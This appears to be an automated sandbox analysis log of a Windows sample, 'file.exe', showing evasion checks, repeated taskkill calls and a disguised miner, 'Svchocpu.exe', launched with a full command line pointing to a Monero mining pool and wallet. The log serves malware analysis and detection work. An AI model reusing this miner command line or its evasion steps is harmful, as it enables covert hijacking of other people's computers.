Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 18000000			Jump to behavior

Source: file.exe, spread.txt.0.dr

Binary or memory string: \\.\VBoxMiniRdrDN

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 4208, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\X86.dll, type: DROPPED
Source: Yara match	File source: C:\ProgramData\X64.dll, type: DROPPED

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe

Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
